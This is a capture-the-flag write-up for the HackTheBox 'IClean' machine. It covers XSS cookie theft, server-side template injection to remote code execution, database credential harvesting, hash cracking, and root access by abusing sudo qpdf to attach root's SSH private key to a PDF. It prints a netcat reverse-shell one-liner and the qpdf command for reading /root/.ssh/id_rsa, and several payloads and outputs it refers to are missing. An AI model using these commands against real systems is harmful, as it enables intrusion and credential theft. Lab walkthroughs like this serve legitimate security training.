HackTheBox IClean
Writeup
Hack The Box iClean Writeup
Overview
- Machine Name: IClean
- OS: Linux
- Difficulty: Medium
Exploitation Summary:
- XSS Exploitation:
- Exploited an XSS vulnerability to gain access to the /dashboard directory.
- SSTI to RCE:
- Exploited a Server-Side Template Injection (SSTI) vulnerability on the /QRGenerator endpoint to achieve Remote Code Execution (RCE).
- Bypassed filters to execute arbitrary commands on the target system.
Reconnaissance
Nmap Scan Results
Directory Enumeration
We have discovered an interesting directory: /dashboard. This suggests that we might need to perform a web-based attack to gain access to this directory.
Exploitation
Vulnerabilities Exploited
The XSS payload used to exploit the vulnerability is as follows:
Exploitation Steps
- Intercepting the Request:
- Intercept a request using BurpSuite in
http://capiclean.htb/quote.
- Intercept a request using BurpSuite in
- Sending XSS Payload:
- Send an XSS payload via the request to receive the cookie.
- Receiving and Decoding the Cookie:
- Set up a Python server to receive the cookie.
- Decode the received base64 encoded cookie.
Decoded we can see is a JSON web token, then paste it on cookies storage
- Exploiting Server-Side Template Injection (SSTI) on
/QRGenerator:- Exploit SSTI vulnerability by injecting Python code via
{{}}syntax. - Attempt to execute arbitrary commands such as
idto verify vulnerability.
- Exploit SSTI vulnerability by injecting Python code via
And we get this on the final part of the response:
- Exploiting SSTI to Remote Code Execution (RCE):
- Escalate SSTI vulnerability to execute arbitrary commands, aiming for RCE.
- Use payload to execute commands like
os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 4444 >/tmp/f').
URL encode the reverse shell.
And we get a shell as www-data
Stabilize the shell
Post-Exploitation
Privilege Escalation for user consuela
After gaining access to the system as www-data, we discovered a Python script (app.py) containing sensitive information such as database credentials:
After successful authentication, you'll see the MySQL prompt:
Using these credentials, we accessed the MySQL database and enumerated the tables:
This MySQL query retrieves all records from the users table, displaying the id, username & hashed passwords
The attempt to crack Consuela's password hash was successful, revealing the password as "simple and clean". With this password, we successfully logged in as Consuela via SSH:
After entering the password, we were able to access the system as Consuela:
Privilege Escalation for root
- Obtained SSH private key for
rootuser by exploitingqpdfvulnerability. - Authenticated as
rootusing the obtained SSH private key. - Escalated privileges to
rootand accessedrootdirectory, confirming successful compromise. We then checked Consuela's sudo privileges using thesudo -lcommand:
Here are the steps outlined in the improved markdown writeup:
-
Generate PDF with SSH Private Key Attachment:
- Run
sudo /usr/bin/qpdf --empty /tmp/juicy.pdf --qdf --add-attachment /root/.ssh/id_rsa --to generate a PDF file (juicy.pdf) with the SSH private key attached.
- Run
Consuela has sudo privileges to run /usr/bin/qpdf without providing a password. This could be an opportunity for privilege escalation.
While trying to get the right command, i came with this command successfully getting "id_rsa" for root.
The command sudo /usr/bin/qpdf --empty /tmp/lol.pdf --qdf --add-attachment /root/.ssh/id_rsa -- is attempting to exploit the qpdf utility to add an attachment to a PDF file in order to retrieve the id_rsa file, which is often the private SSH key for the root user. Let's break down the command:
sudo: This command is used to execute subsequent commands with superuser (root) privileges.
/usr/bin/qpdf: This is the path to the qpdf utility, a command-line program used to manipulate PDF files.
--empty /tmp/lol.pdf: This argument specifies that a new, empty PDF file named lol.pdf will be created in the /tmp directory.
--qdf: This argument specifies that the output PDF file should be in QDF (QDF is a format used by QPDF for representing PDF content).
--add-attachment /root/.ssh/id_rsa: This argument tells qpdf to add an attachment to the PDF file. The attachment being added is the id_rsa file located in the /root/.ssh/ directory.
--: This double hyphen (--) signifies the end of command-line options. Anything after this is interpreted as an argument rather than an option.
So, in summary, this command is creating a new PDF file in the /tmp directory and attaching the id_rsa file (private SSH key for the root user) to it using the qpdf utility. The exploitation relies on the assumption that qpdf is configured to run with elevated privileges via sudo, allowing it to access sensitive files such as the id_rsa file.
Use cat juicy.pdf to display the contents of the PDF file, which includes the SSH private key.
Use the SSH private key to authenticate as the root user on the target server with ssh -i id_rsa root@10.129.71.9
And we are root, get root flag.txt